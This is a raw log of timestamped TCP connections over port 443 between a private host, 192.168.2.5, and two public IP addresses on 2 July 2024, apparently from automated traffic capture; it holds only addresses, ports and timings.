Jul 2, 2024 06:51:42.547137976 CEST	443	49810	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:42.666330099 CEST	443	49812	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:42.666445017 CEST	49812	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:42.667047024 CEST	49812	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:42.667057037 CEST	443	49812	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:42.668185949 CEST	443	49811	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:42.668853045 CEST	49812	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:42.668859959 CEST	443	49812	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:42.668873072 CEST	49811	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:42.669111013 CEST	49811	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:42.669123888 CEST	443	49811	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:42.669224024 CEST	49811	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:42.669229984 CEST	443	49811	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:42.805794001 CEST	443	49809	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:42.805877924 CEST	49809	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:42.805896044 CEST	443	49809	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:42.805958033 CEST	49809	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:42.806097984 CEST	49809	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:42.806138992 CEST	443	49809	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:42.806200981 CEST	49809	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:42.806823969 CEST	49815	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:42.806854963 CEST	443	49815	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:42.807112932 CEST	49815	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:42.807476044 CEST	49815	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:42.807485104 CEST	443	49815	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:42.933804035 CEST	443	49810	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:42.933893919 CEST	49810	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:42.934910059 CEST	443	49810	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:42.934981108 CEST	443	49810	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:42.935049057 CEST	49810	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:42.935049057 CEST	49810	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:42.935695887 CEST	49810	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:42.935726881 CEST	443	49810	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:42.936847925 CEST	49817	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:42.936886072 CEST	443	49817	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:42.936969042 CEST	49817	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:42.937727928 CEST	49817	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:42.937743902 CEST	443	49817	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:43.114022970 CEST	443	49811	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:43.114069939 CEST	443	49811	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:43.114130020 CEST	49811	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:43.114159107 CEST	443	49811	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:43.114187002 CEST	443	49811	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:43.114198923 CEST	49811	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:43.114236116 CEST	49811	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:43.115212917 CEST	49811	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:43.115227938 CEST	443	49811	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:43.115791082 CEST	49818	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:43.115823030 CEST	443	49818	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:43.116002083 CEST	49818	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:43.116242886 CEST	49818	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:43.116254091 CEST	443	49818	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:43.126034021 CEST	443	49812	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:43.126085997 CEST	443	49812	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:43.126113892 CEST	49812	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:43.126130104 CEST	443	49812	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:43.126184940 CEST	49812	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:43.126238108 CEST	49812	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:43.126238108 CEST	443	49812	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:43.126311064 CEST	49812	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:43.128541946 CEST	49812	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:43.128556967 CEST	443	49812	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:43.129625082 CEST	49819	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:43.129647017 CEST	443	49819	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:43.129705906 CEST	49819	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:43.130320072 CEST	49819	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:43.130332947 CEST	443	49819	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:43.314116001 CEST	49815	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:43.314165115 CEST	49817	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:43.314193010 CEST	49818	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:43.314237118 CEST	49819	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:43.315362930 CEST	49820	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:43.315397024 CEST	443	49820	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:43.315463066 CEST	49820	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:43.316593885 CEST	49820	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:43.316610098 CEST	443	49820	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:43.317166090 CEST	49821	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:43.317209959 CEST	443	49821	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:43.317276955 CEST	49821	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:43.318171024 CEST	49821	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:43.318177938 CEST	443	49821	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:43.956047058 CEST	443	49820	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:43.956141949 CEST	49820	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:43.956854105 CEST	443	49820	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:43.956923962 CEST	49820	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:43.959147930 CEST	49820	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:43.959155083 CEST	443	49820	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:43.959398985 CEST	443	49820	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:43.959459066 CEST	49820	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:43.959995031 CEST	49820	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:43.970052958 CEST	443	49821	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:43.970143080 CEST	49821	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:43.970858097 CEST	443	49821	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:43.970931053 CEST	49821	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:43.975289106 CEST	49821	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:43.975311995 CEST	443	49821	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:43.975591898 CEST	443	49821	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:43.975646019 CEST	49821	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:43.978256941 CEST	49821	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:44.004501104 CEST	443	49820	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:44.024499893 CEST	443	49821	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:44.350677967 CEST	443	49820	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:44.350925922 CEST	49820	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:44.350954056 CEST	443	49820	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:44.351052999 CEST	49820	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:44.351718903 CEST	443	49820	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:44.351764917 CEST	443	49820	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:44.351855040 CEST	49820	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:44.351855040 CEST	49820	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:44.359829903 CEST	49820	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:44.359847069 CEST	443	49820	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:44.360759974 CEST	49824	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:44.360764027 CEST	49825	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:44.360783100 CEST	443	49824	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:44.360790968 CEST	443	49825	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:44.361757040 CEST	49824	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:44.361768007 CEST	49825	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:44.364542007 CEST	443	49821	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:44.364629984 CEST	49824	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:44.364644051 CEST	443	49824	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:44.364792109 CEST	49821	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:44.364814043 CEST	443	49821	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:44.365014076 CEST	49821	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:44.365492105 CEST	443	49821	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:44.365536928 CEST	443	49821	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:44.365753889 CEST	49821	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:44.377142906 CEST	49825	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:44.377157927 CEST	443	49825	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:44.377966881 CEST	49827	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:44.377996922 CEST	443	49827	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:44.378040075 CEST	49821	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:44.378057957 CEST	443	49821	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:44.378071070 CEST	49827	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:44.378087044 CEST	49826	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:44.378107071 CEST	443	49826	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:44.378278017 CEST	49826	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:44.378396988 CEST	49827	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:44.378415108 CEST	443	49827	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:44.378686905 CEST	49826	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:44.378700972 CEST	443	49826	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:45.017191887 CEST	443	49827	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:45.017390013 CEST	49827	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:45.020318031 CEST	443	49825	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:45.020468950 CEST	49825	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:45.020646095 CEST	49827	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:45.020658016 CEST	443	49827	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:45.021502018 CEST	49825	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:45.021512985 CEST	443	49825	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:45.022588015 CEST	49827	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:45.022594929 CEST	443	49827	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:45.023283958 CEST	49825	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:45.023291111 CEST	443	49825	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:45.027673006 CEST	443	49824	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:45.027842999 CEST	49824	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:45.032589912 CEST	49824	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:45.032602072 CEST	443	49824	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:45.032854080 CEST	443	49824	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:45.033757925 CEST	49824	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:45.034094095 CEST	49824	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:45.045293093 CEST	443	49826	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:45.045545101 CEST	49826	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:45.051913023 CEST	49826	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:45.051922083 CEST	443	49826	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:45.052181959 CEST	443	49826	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:45.052433014 CEST	49826	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:45.052604914 CEST	49826	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:45.076495886 CEST	443	49824	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:45.100500107 CEST	443	49826	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:45.406629086 CEST	443	49827	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:45.406692028 CEST	49827	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:45.406730890 CEST	443	49827	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:45.406800032 CEST	49827	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:45.407073975 CEST	443	49827	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:45.407120943 CEST	443	49827	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:45.407121897 CEST	49827	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:45.407169104 CEST	49827	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:45.413947105 CEST	443	49825	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:45.414025068 CEST	49825	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:45.414813042 CEST	443	49825	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:45.414865971 CEST	443	49825	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:45.414868116 CEST	49825	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:45.414942026 CEST	49825	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:45.430891037 CEST	49827	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:45.430908918 CEST	443	49827	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:45.435282946 CEST	49829	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:45.435306072 CEST	443	49829	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:45.435399055 CEST	49829	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:45.435568094 CEST	49829	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:45.435585022 CEST	443	49829	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:45.435707092 CEST	49825	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:45.435723066 CEST	443	49825	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:45.435736895 CEST	49825	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:45.435769081 CEST	49825	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:45.436103106 CEST	49830	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:45.436120033 CEST	443	49830	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:45.436167955 CEST	49830	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:45.436327934 CEST	49830	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:45.436340094 CEST	443	49830	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:45.465981007 CEST	443	49824	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:45.466018915 CEST	443	49824	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:45.466108084 CEST	49824	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:45.466123104 CEST	443	49824	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:45.466300964 CEST	49824	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:45.484865904 CEST	49824	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:45.484884977 CEST	443	49824	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:45.485446930 CEST	49831	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:45.485482931 CEST	443	49831	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:45.485692978 CEST	49831	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:45.486186028 CEST	49831	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:45.486202955 CEST	443	49831	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:45.628535032 CEST	443	49826	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:45.628583908 CEST	443	49826	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:45.628698111 CEST	49826	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:45.628701925 CEST	443	49826	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:45.628774881 CEST	49826	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:45.628834009 CEST	49826	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:45.639003992 CEST	49826	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:45.639039040 CEST	443	49826	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:45.639494896 CEST	49832	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:45.639519930 CEST	443	49832	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:45.639617920 CEST	49832	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:45.639777899 CEST	49832	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:45.639790058 CEST	443	49832	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:46.072084904 CEST	443	49830	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:46.072216034 CEST	49830	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:46.105854988 CEST	49830	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:46.105869055 CEST	443	49830	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:46.106025934 CEST	49830	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:46.106031895 CEST	443	49830	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:46.145366907 CEST	443	49831	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:46.145437002 CEST	49831	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:46.161514044 CEST	49831	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:46.161535978 CEST	443	49831	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:46.161665916 CEST	49831	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:46.161673069 CEST	443	49831	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:46.161962986 CEST	443	49829	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:46.162239075 CEST	49829	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:46.162483931 CEST	49829	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:46.162489891 CEST	443	49829	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:46.162615061 CEST	49829	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:46.162620068 CEST	443	49829	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:46.282131910 CEST	443	49832	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:46.283042908 CEST	49832	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:46.314866066 CEST	49832	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:46.314884901 CEST	443	49832	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:46.315066099 CEST	49832	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:46.315072060 CEST	443	49832	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:46.461493969 CEST	443	49830	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:46.461576939 CEST	49830	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:46.462388039 CEST	443	49830	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:46.462511063 CEST	443	49830	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:46.462615013 CEST	49830	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:46.486653090 CEST	49830	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:46.486673117 CEST	443	49830	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:46.486717939 CEST	49830	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:46.486742020 CEST	49830	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:46.487319946 CEST	49835	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:46.487346888 CEST	443	49835	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:46.489753962 CEST	49835	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:46.489988089 CEST	49835	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:46.490005016 CEST	443	49835	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:46.549983978 CEST	443	49829	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:46.550045967 CEST	49829	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:46.551079988 CEST	443	49829	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:46.551126003 CEST	443	49829	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:46.551132917 CEST	49829	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:46.551179886 CEST	49829	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:46.578969955 CEST	49829	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:46.578989983 CEST	443	49829	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:46.579039097 CEST	49829	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:46.579058886 CEST	49829	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:46.579849958 CEST	49836	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:46.579874992 CEST	443	49836	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:46.581762075 CEST	49836	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:46.581991911 CEST	49836	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:46.582006931 CEST	443	49836	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:46.665538073 CEST	443	49831	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:46.665592909 CEST	443	49831	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:46.665683031 CEST	49831	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:46.665693998 CEST	443	49831	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:46.665760994 CEST	443	49831	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:46.665815115 CEST	49831	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:46.674585104 CEST	49831	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:46.674599886 CEST	443	49831	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:46.675056934 CEST	49837	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:46.675092936 CEST	443	49837	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:46.675642014 CEST	49837	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:46.675892115 CEST	49837	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:46.675910950 CEST	443	49837	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:46.719069958 CEST	443	49832	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:46.719130039 CEST	443	49832	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:46.719216108 CEST	49832	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:46.719228029 CEST	443	49832	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:46.719284058 CEST	443	49832	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:46.719341040 CEST	49832	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:46.721607924 CEST	49832	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:46.721618891 CEST	443	49832	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:46.722090960 CEST	49838	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:46.722110987 CEST	443	49838	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:46.722167969 CEST	49838	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:46.722354889 CEST	49838	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:46.722369909 CEST	443	49838	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:47.232172012 CEST	443	49835	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:47.232227087 CEST	49835	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:47.233134985 CEST	49835	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:47.233148098 CEST	443	49835	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:47.236936092 CEST	49835	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:47.236944914 CEST	443	49835	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:47.313848972 CEST	49836	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:47.313913107 CEST	49837	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:47.313931942 CEST	49838	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:47.314801931 CEST	49839	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:47.314831972 CEST	443	49839	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:47.314918995 CEST	49839	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:47.318165064 CEST	49839	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:47.318181038 CEST	443	49839	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:47.618877888 CEST	443	49835	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:47.618968964 CEST	49835	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:47.618979931 CEST	443	49835	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:47.619056940 CEST	49835	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:47.619143963 CEST	49835	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:47.619179010 CEST	443	49835	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:47.619235039 CEST	49835	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:47.619870901 CEST	49840	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:47.619920015 CEST	443	49840	142.250.184.225	192.168.2.5
Jul 2, 2024 06:51:47.619992971 CEST	49840	443	192.168.2.5	142.250.184.225
Jul 2, 2024 06:51:47.620122910 CEST	49841	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:47.620141029 CEST	443	49841	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:47.620189905 CEST	49841	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:47.620449066 CEST	49841	443	192.168.2.5	216.58.206.78
Jul 2, 2024 06:51:47.620461941 CEST	443	49841	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:47.957273960 CEST	443	49839	216.58.206.78	192.168.2.5
Jul 2, 2024 06:51:47.957351923 CEST	49839	443	192.168.2.5	216.58.206.78
